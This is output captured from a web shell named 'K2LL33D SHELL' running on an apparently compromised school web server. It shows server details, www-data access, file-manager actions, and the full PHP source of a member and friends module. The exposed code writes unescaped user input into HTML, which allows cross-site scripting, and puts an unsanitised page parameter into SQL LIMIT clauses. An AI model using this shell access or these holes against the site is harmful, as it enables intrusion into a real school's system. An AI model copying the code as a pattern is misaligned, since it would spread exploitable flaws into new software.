K2LL33D SHELL

 Apache/2.4.7 (Ubuntu)
 Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 safemode : OFF
 MySQL: ON | Perl: ON | cURL: OFF | WGet: ON
  >  / var / www / html / sman1baleendah_sch_id-1111111111111 / functions /
server ip : 104.21.89.46

your ip : 172.70.179.46

H O M E


Filename/var/www/html/sman1baleendah_sch_id-1111111111111/functions/member_teman.php
Size15.89 kb
Permissionrwxrwxrwx
Ownerroot : root
Create time06-May-2025 08:13
Last modified05-May-2025 16:21
Last accessed26-May-2025 12:56
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
<?php
//if(!defined("CMSBalitbang")) {
// die("<h1>Permission Denied</h1>You don't have permission to access the this page.");
//}
// terdiri dari fungsi yng berhubungan dengan teman dan member lain
// created by alan

//fungsi menampilkan member
function member() {
include "koneksi.php";
$userid = $_SESSION['User']['userid'];
$keycari = $_GET['keycari'];
$ket = $_GET['ket'];
$cetak .="<script src=\"js/facebox.js\" type=\"text/javascript\"></script>
<script type=\"text/javascript\">
jQuery(document).ready(function($) {
$('a[rel*=facebox]').facebox({
})
})

</script> ";
$cetak .="<div id='depan-tengah'>";

if ($ket=='email') $s2='selected';
else $s1='selected';
if ($keycari=='') $keycari='Nama/email orang';

$cetak .= statusanda($userid);
$cetak .="<hr style='border: thin solid #6A849D;'>";
$cetak .="<form method='get' name='form' action='user.php'><div id='box-status'><img src='../images/cari.png' align='left'>Temukan orang lain yang Anda kenal, cari berdasarkan nama atau email orang lain <br><br>Pencarian &nbsp;<select name='ket' ><option value='nama' $s1>Nama</option><option value='email' $s2>Email</option></select>&nbsp;&nbsp;<input type=text name='keycari' id='keycari' maxlength='50' onfocus='clearText2(this)' onblur='clearText2(this)' title='Silahkan tulis kunci yang akan dicari' value='$keycari' >&nbsp;&nbsp;<input type=\"submit\" id=button2 value=\" Cari \" name=\"cari\" class=\"cari_botton\" /><input type=hidden name=id value=member >&nbsp;&nbsp;&nbsp;<a href='boxframe.php?id=totmember' rel=\"facebox\" title='Klik untuk lihat total member di komunitas ini.' >Total Member</a></div></form>";

if ($keycari=='') $cetak .="Anda belum memasukan kunci pencarian.";
elseif (strlen(trim($keycari)) < 3 ) $cetak .="Kata yang anda cari kurang tepat.";
elseif ($keycari=='Nama/email orang') $cetak .="Silahkan tulis nama atau email teman yang akan dicari.";
else {

if($ket=='nama') $data = " and nama like '%". mysql_real_escape_string($keycari) ."%'";
else $data = " and email like '%". mysql_real_escape_string($keycari) ."%'";
$sql = "select userid,nama,ket,tgl_login from t_member where userid<>'". mysql_real_escape_string($userid) ."' and status='1' $data ";
$hal = $_GET['hal'];
$byk=15;
if ($hal=='') $hal=1;
$awal = ($hal-1)*$byk;

$query = mysql_query($sql);
$n=mysql_num_rows($query);
$jml = intval($n/$byk);
if (($n % $byk)>0) $jml=$jml+1;

if ($jml >= 2) {
for($i=1;$i<=$jml;$i++) {
if ($hal==$i) $pag .="<a class='sel'>$i</a>";
else $pag .="<a href='user.php?id=member&keycari=$keycari&ket=$ket&hal=$i' title='Hal ke $i dari $jml' >$i</a>";
}
}
$cetak .= "<div id='pag' align=center >$pag</div>";
if ($n > 0 ) {
$cetak .="<h3>Pencarian member lain</h3>";
$query = mysql_query($sql." order by nama limit $awal,$byk");
while($row=mysql_fetch_array($query)) {
$gb=fotouser($row[userid]);
$selisih = ambilselisih(strtotime($row[tgl_login]), time());
if (teman_bukan($row[userid],$userid)=='bukan') $tambah ="<a href='boxframe.php?id=tamteman&userid=".hex($userid,$noacak)."&tujuan=".hex($row[userid],$noacak)."' rel=\"facebox\" id='button2' >Tambah sebagai teman</a>";
else $tambah ="Anda telah berteman";
$cetak .="<div id='carimember' >".$gb." <b>$row[nama]</b><br>Terakhir login : $selisih<br>Status member : $row[ket]<div id='tombol-kanan' >$tambah&nbsp;&nbsp;&nbsp;<a href='boxframe.php?id=kirimpesan&userid=".hex($userid,$noacak)."&tujuan=".hex($row[userid],$noacak)."' rel=\"facebox\" id='button2' >Kirim Pesan</a></div></div>";
}
}
else {
$cetak .="Data yang anda cari tidak ada.";
}

}

$cetak .="</div>";
return $cetak;
}

//fungsi tampilkan semua teman
function teman() {
include "koneksi.php";
$userid = $_SESSION['User']['userid'];
$keycari = $_GET['keycari'];
$ket=$_GET['ket'];
if ($ket=='semua') $keycari='Nama'; //seleksi klo tampilkan semua
$cetak .="<script src=\"js/facebox.js\" type=\"text/javascript\"></script>
<script type=\"text/javascript\">
jQuery(document).ready(function($) {
$('a[rel*=facebox]').facebox({
})
})

</script> ";
$cetak .='<script type="text/javascript">
function hapusteman(userid,kode,nama) {
if(confirm("Apakah Anda yakin akan memutuskan hubungan dengan "+ nama +" ?")) {
var dataString = \'userid=\'+ userid +\'&kode=\'+ kode ;
$.ajax({type: "POST",url: "kontenstatus.php",data: dataString,cache: false,success: function(html){window.location="user.php?id=teman&ket='.$ket.'&keycari='.$keycari.'";}});
}
}
</script>';
$cetak .="<div id='depan-tengah'>";

if ($keycari=='') $keycari='Nama teman';
$query=mysql_query("select id_con from t_member_contact where id_master='". mysql_real_escape_string($userid) ."' and status='1'");
$total=mysql_num_rows($query);
$cetak .= statusanda($userid);
$cetak .="<hr style='border: thin solid #6A849D;'>";
$cetak .="<form method='get' name='form' action='user.php'><div id='box-status'><img src='../images/cari.png' align='left'> &nbsp;Pencarian &nbsp;&nbsp;<input type=text name='keycari' id='keycari' maxlength='50' onfocus='clearText2(this)' onblur='clearText2(this)' title='Silahkan tulis kunci yang akan dicari' value='$keycari' >&nbsp;&nbsp;<input type=\"submit\" id=button2 value=\" Cari \" name=\"cari\" class=\"cari_botton\" /><input type=hidden name=id value=teman >&nbsp;&nbsp;&nbsp;Total : $total teman <a href='user.php?id=teman&ket=semua' id='button2' >Lihat Semua</a></div></form>";

if ($keycari=='') $cetak .="Anda belum memasukan nama pencarian.";
elseif (strlen(trim($keycari)) < 3 ) $cetak .="Nama yang anda cari kurang tepat.";
elseif ($keycari=='Nama teman') $cetak .="Silahkan tulis nama teman yang akan dicari.";
else {
if ($ket=='semua') $data="";
else $data =" and t_member.nama like '%". mysql_real_escape_string($keycari) ."%' ";
$sql = "SELECT t_member.userid,t_member.nama,t_member.ket, t_member.point,t_member.tgl_login, t_member_contact.id_master,
t_member_contact.id_con,t_member_contact.`status` FROM t_member RIGHT OUTER JOIN t_member_contact ON (t_member.userid = t_member_contact.id_con) where t_member_contact.id_master='". mysql_real_escape_string($userid)."' and t_member_contact.status='1' and host='0' $data ";
$hal = $_GET['hal'];
$byk=15;
if ($hal=='') $hal=1;
$awal = ($hal-1)*$byk;

$query = mysql_query($sql);
$n=mysql_num_rows($query);
$jml = intval($n/$byk);
if (($n % $byk)>0) $jml=$jml+1;

if ($jml >= 2) {
for($i=1;$i<=$jml;$i++) {
if ($hal==$i) $pag .="<a class='sel'>$i</a>";
else $pag .="<a href='user.php?id=teman&keycari=$keycari&ket=$ket&hal=$i' title='Hal ke $i dari $jml' >$i</a>";
}
}
$cetak .= "<div id='pag' align=center >$pag</div>";
if ($n > 0 ) {
$cetak .="<h3>Pencarian teman</h3>";
$query = mysql_query($sql." order by nama limit $awal,$byk");
while($row=mysql_fetch_array($query)) {
$gb=fotouser($row[userid]);
$selisih = ambilselisih(strtotime($row[tgl_login]), time());
$cetak .="<div id='carimember' >".$gb." <table border=0 width='90%' cellpadding='0' cellspacing='0'><tr><td width='80'>Nama </td><td width='190'>: <b>$row[nama]</b></td>
<td width=30 ></td><td width=30></td><td align=right ><a href='#' onclick=\"hapusteman('".hex("haptem,".$userid,$noacak)."','".hex($row[userid],$noacak)."','$row[nama]')\" title='Klik untuk memutuskan hubungan pertemanan' id='hapuslink' >&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></td></tr>
<tr><td>Status </td><td>: $row[ket]</td><td></td><td></td><td></td></tr>
<tr><td>Terakhir login</td><td>: $selisih</td><td>Point</td><td>: $row[point]</td><td align=right ><a href='boxframe.php?id=kirimpesan&userid=".hex($userid,$noacak)."&tujuan=".hex($row[userid],$noacak)."' rel=\"facebox\" id='button2' >Kirim Pesan</a></td></tr></table></div>";
}
}
else {
$cetak .="Data yang anda cari tidak ada.";
}

}

$cetak .="</div>";
return $cetak;
}

// tampilkan permintaan menjadi teman
function permintaan() {
include "koneksi.php";
$userid = $_SESSION['User']['userid'];

$cetak .="<script src=\"js/facebox.js\" type=\"text/javascript\"></script>
<script type=\"text/javascript\">
jQuery(document).ready(function($) {
$('a[rel*=facebox]').facebox({
})
})

</script> ";
$cetak .='<script type="text/javascript">
function konfirmasi(userid,kode,nama) {
if(confirm("Apakah Anda yakin akan menjalin hubungan dengan "+ nama +" ?")) {
var dataString = \'userid=\'+ userid +\'&kode=\'+ kode ;
$.ajax({type: "POST",url: "kontenstatus.php",data: dataString,cache: false,success: function(html){window.location="user.php?id=teman&ket=semua";}});
}
}
function tolak(userid,kode,nama) {
if(confirm("Apakah Anda yakin menolak pertemanan dengan "+ nama +" ?")) {
var dataString = \'userid=\'+ userid +\'&kode=\'+ kode ;
$.ajax({type: "POST",url: "kontenstatus.php",data: dataString,cache: false,success: function(html){window.location="user.php?id=permintaan";}});
}
}
</script>';
$cetak .="<div id='depan-tengah'>";

$cetak .= statusanda($userid);
$cetak .="<hr style='border: thin solid #6A849D;'>";

$sql = "SELECT * from t_member_contact where id_con='". mysql_real_escape_string($userid)."' and t_member_contact.status='0' ";
$query = mysql_query($sql);
$n=mysql_num_rows($query);
$hal = $_GET['hal'];
$byk=15;
if ($hal=='') $hal=1;
$awal = ($hal-1)*$byk;

$query = mysql_query($sql);
$n=mysql_num_rows($query);
$jml = intval($n/$byk);
if (($n % $byk)>0) $jml=$jml+1;

if ($jml >= 2) {
for($i=1;$i<=$jml;$i++) {
if ($hal==$i) $pag .="<a class='sel'>$i</a>";
else $pag .="<a href='user.php?id=permintaan&hal=$i' title='Hal ke $i dari $jml' >$i</a>";
}
}
$cetak .= "<div id='pag' align=center >$pag</div>";
if ($n > 0 ) {
$cetak .="<h3>Anda mempunyai $n permintaan pertemanan</h3>Silahkan klik konfirmasi untuk melakukan menambahkan member tersebut sebagai teman Anda.";
$query = mysql_query($sql." limit $awal,$byk");
while($row=mysql_fetch_array($query)) {
$gb=fotouser($row[id_master]);
$nama=member_nama($row[id_master]);
$cetak .="<div id='carimember' >".$gb." $nama<br><div style='margin-top:5px;' ><a href='#' onclick=\"konfirmasi('".hex("hub,".$userid,$noacak)."','".hex($row[id_master],$noacak)."','$nama')\" title='Klik untuk menjalin hubungan pertemanan' id='button2' >Konfirmasi</a>&nbsp;&nbsp;&nbsp;<a href='#' onclick=\"tolak('".hex("tolak,".$userid,$noacak)."','".hex($row[id_master],$noacak)."','$nama')\" title='Klik untuk menolak hubungan pertemanan' id='button2' > &nbsp;Tolak&nbsp; </a>&nbsp;&nbsp;&nbsp;<a href='boxframe.php?id=kirimpesan&userid=".hex($userid,$noacak)."&tujuan=".hex($row[id_master],$noacak)."' rel=\"facebox\" id='button2' >Kirim Pesan</a></div></div>";
}

}
else {
$cetak .="<h3>Anda tidak mempunyai permintaan pertemanan baru.</h3>";
}

$cetak .="</div>";
return $cetak;
}
// daftar penolakan menjadi teman anda
function tolakteman() {
include "koneksi.php";
$userid = $_SESSION['User']['userid'];

$cetak .="<script src=\"js/facebox.js\" type=\"text/javascript\"></script>
<script type=\"text/javascript\">
jQuery(document).ready(function($) {
$('a[rel*=facebox]').facebox({
})
})

</script> ";
$cetak .='<script type="text/javascript">
function konfirmasi(userid,kode,nama) {
if(confirm("Apakah Anda yakin akan menjalin hubungan dengan "+ nama +" ?")) {
var dataString = \'userid=\'+ userid +\'&kode=\'+ kode ;
$.ajax({type: "POST",url: "kontenstatus.php",data: dataString,cache: false,success: function(html){window.location="user.php?id=tolakteman";}});
}
}
function hapustolak(userid,kode,nama) {
if(confirm("Apakah Anda yakin menolak pertemanan dengan "+ nama +" ?")) {
var dataString = \'userid=\'+ userid +\'&kode=\'+ kode ;
$.ajax({type: "POST",url: "kontenstatus.php",data: dataString,cache: false,success: function(html){window.location="user.php?id=tolakteman";}});
}
}
</script>';
$cetak .="<div id='depan-tengah'>";

$cetak .= statusanda($userid);
$cetak .="<hr style='border: thin solid #6A849D;'>";

$sql = "SELECT * from t_member_contact where id_master='". mysql_real_escape_string($userid)."' and t_member_contact.status='2' ";
$query = mysql_query($sql);
$n=mysql_num_rows($query);
$hal = $_GET['hal'];
$byk=15;
if ($hal=='') $hal=1;
$awal = ($hal-1)*$byk;

$query = mysql_query($sql);
$n=mysql_num_rows($query);
$jml = intval($n/$byk);
if (($n % $byk)>0) $jml=$jml+1;

if ($jml >= 2) {
for($i=1;$i<=$jml;$i++) {
if ($hal==$i) $pag .="<a class='sel'>$i</a>";
else $pag .="<a href='user.php?id=tolak&hal=$i' title='Hal ke $i dari $jml' >$i</a>";
}
}
$cetak .= "<div id='pag' align=center >$pag</div>";
if ($n > 0 ) {
$cetak .="<h3>Anda mempunyai $n penolakan pertemanan</h3>Silahkan klik konfirmasi untuk melakukan konfirmasi ulang dalam penambahan member tersebut sebagai teman Anda.";
$query = mysql_query($sql." limit $awal,$byk");
while($row=mysql_fetch_array($query)) {
$gb=fotouser($row[id_con]);
$nama=member_nama($row[id_con]);
$cetak .="<div id='carimember' >".$gb." $nama<br><div style='margin-top:5px;' ><a href='#' onclick=\"konfirmasi('".hex("konhub,".$userid,$noacak)."','".hex($row[id_con],$noacak)."','$nama')\" title='Klik untuk menjalin hubungan pertemanan' id='button2' >Konfirmasi</a>&nbsp;&nbsp;&nbsp;<a href='#' onclick=\"hapustolak('".hex("haptol,".$userid,$noacak)."','".hex($row[id_con],$noacak)."','$nama')\" title='Klik untuk menghapus hubungan pertemanan' id='button2' > &nbsp;Hapus&nbsp; </a>&nbsp;&nbsp;&nbsp;<a href='boxframe.php?id=kirimpesan&userid=".hex($userid,$noacak)."&tujuan=".hex($row[id_con],$noacak)."' rel=\"facebox\" id='button2' >Kirim Pesan</a></div></div>";
}

}
else {
$cetak .="<h3>Anda tidak mempunyai penolakan pertemanan.</h3>";
}

$cetak .="</div>";
return $cetak;
}
//fungsi tampilkan semua teman member lain
function temanlain() {
include "koneksi.php";
$userid = unhex($_GET['kode'],$noacak);
$saya = $_SESSION['User']['userid'];

$cetak .="<script src=\"js/facebox.js\" type=\"text/javascript\"></script>
<script type=\"text/javascript\">
jQuery(document).ready(function($) {
$('a[rel*=facebox]').facebox({
})
})

</script> ";
$cetak .="<div id='depan-tengah'>";
$cetak .= statusanda($userid);
$cetak .="<hr style='border: thin solid #6A849D;'>";
$sql = "SELECT t_member.userid,t_member.nama,t_member.ket, t_member.point,t_member.tgl_login, t_member_contact.id_master,
t_member_contact.id_con,t_member_contact.`status` FROM t_member RIGHT OUTER JOIN t_member_contact ON (t_member.userid = t_member_contact.id_con) where t_member_contact.id_master='". mysql_real_escape_string($userid)."' and t_member_contact.id_con<>'". mysql_real_escape_string($saya)."' and t_member_contact.status='1' ";
$hal = $_GET['hal'];
$byk=15;
if ($hal=='') $hal=1;
$awal = ($hal-1)*$byk;

$query = mysql_query($sql);
$n=mysql_num_rows($query);
$jml = intval($n/$byk);
if (($n % $byk)>0) $jml=$jml+1;

if ($jml >= 2) {
for($i=1;$i<=$jml;$i++) {
if ($hal==$i) $pag .="<a class='sel'>$i</a>";
else $pag .="<a href='user.php?id=temanlain&hal=$i' title='Hal ke $i dari $jml' >$i</a>";
}
}
$cetak .= "<div id='pag' align=center >$pag</div>";
if ($n > 0 ) {
$cetak .="<h3>Data Teman </h3>";
$query = mysql_query($sql." order by nama limit $awal,$byk");
while($row=mysql_fetch_array($query)) {
$gb=fotouser($row[userid]);
$selisih = ambilselisih(strtotime($row[tgl_login]), time());
$cetak .="<div id='carimember' >".$gb." <table border=0 width='90%' cellpadding='0' cellspacing='0'><tr><td width='80'>Nama </td><td width='190'>: <b>$row[nama]</b></td>
<td width=30 ></td><td width=30></td><td align=right ><a href='boxframe.php?id=tamteman&userid=".hex($saya,$noacak)."&tujuan=".hex($row[userid],$noacak)."' rel=\"facebox\" id='button2' >Tambah teman</a></td></tr>
<tr><td>Status </td><td>: $row[ket]</td><td></td><td></td><td></td></tr>
<tr><td>Terakhir login</td><td>: $selisih</td><td>Point</td><td>: $row[point]</td><td align=right ><a href='boxframe.php?id=kirimpesan&userid=".hex($saya,$noacak)."&tujuan=".hex($row[userid],$noacak)."' rel=\"facebox\" id='button2' >&nbsp;&nbsp;&nbsp;Kirim Pesan&nbsp;&nbsp;</a></td></tr></table></div>";
}
}
else {
$cetak .="Data yang anda cari tidak ada.";
}


$cetak .="</div>";
return $cetak;
}
?>